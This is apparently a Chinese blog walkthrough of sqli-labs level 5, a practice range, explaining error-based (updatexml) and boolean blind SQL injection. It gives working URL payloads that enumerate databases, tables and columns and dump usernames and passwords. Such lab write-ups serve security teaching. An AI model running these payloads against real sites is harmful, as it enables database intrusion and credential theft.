web——sqliabs靶场——第五关——报错注入和布尔盲注

这一关开始上强度了,不回显东西了,又要学到新的东西了

发现它没有正确的回显,学到了新知识,报错注入

报错注入

什么是报错注入:

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

复制代码
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a

提示:0x7e 等价于 ~

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:

?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

就会爆出相关的信息

开始做题

方法一:使用报错注入

1.判断注入点

存在sql注入

2.判断注入的类型

单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型

3.判断注入函数是否可以使用

地址栏输入:

?id=0′ and updatexml(1,0x7e,3) --+

存在报错注入

4.爆数据库名:

复制代码
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

或者用别的函数,介绍SUBSTR() 函数

SUBSTR()SUBSTRING() 是 SQL 中用来提取字符串一部分的函数。不同的数据库系统可能对这些函数的支持略有不同,但是基本用法是相似的。以下是 SUBSTR() 函数的一些常见用法:

基本语法

SUBSTR(string, start, length)
  • string:要提取子字符串的源字符串。
  • start:开始提取的位置(从1开始计数)。
  • length:要提取的子字符串的长度。

示例

假设我们有一个字符串 Hello World,我们想提取不同的部分:

  1. 提取从第8个字符开始的4个字符:

    SELECT SUBSTR('Hello World', 8, 4);

这将返回 World

在网页上输入

?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),34,31),3) -- a

5.爆表名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

6.爆字段名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

7.爆详细信息

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'@@@',password)) from users),1,37),0x7e),1) --+

结束

方法二: 使用布尔盲注

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么

  1. 长度判断原理

判断数据库的长度

?id=1' and length( database() )>1 -- a

页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

判断库名为8

文末使用脚本自动化判断

2.枚举字符

  1. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34......126。

页面异常(空)显示,表示猜解失误;

原文链接:https://blog.csdn.net/wangyuxiang946/article/details/123486880

?id=1' and ascii( substr( (select group_concat(schema_name) from information_schema.schemata) ,1,1) ) >1 -- a

可以使用脚本来做

相关推荐
zhangjr05751 小时前
【HarmonyOS Next】鸿蒙实用装饰器一览(一)
前端·harmonyos·arkts
不爱学习的YY酱1 小时前
【操作系统不挂科】<CPU调度(13)>选择题(带答案与解析)
java·linux·前端·算法·操作系统
木子七2 小时前
vue2-vuex
前端·vue
麻辣_水煮鱼2 小时前
vue数据变化但页面不变
前端·javascript·vue.js
BY—-组态2 小时前
web组态软件
前端·物联网·工业互联网·web组态·组态
一条晒干的咸魚2 小时前
【Web前端】实现基于 Promise 的 API:alarm API
开发语言·前端·javascript·api·promise
WilliamLuo3 小时前
MP4结构初识-第一篇
前端·javascript·音视频开发
Beekeeper&&P...3 小时前
web钩子什么意思
前端·网络
啵咿傲3 小时前
重绘&重排、CSS树&DOM树&渲染树、动画加速 ✅
前端·css
前端Hardy3 小时前
HTML&CSS:数据卡片可以这样设计
前端·javascript·css·3d·html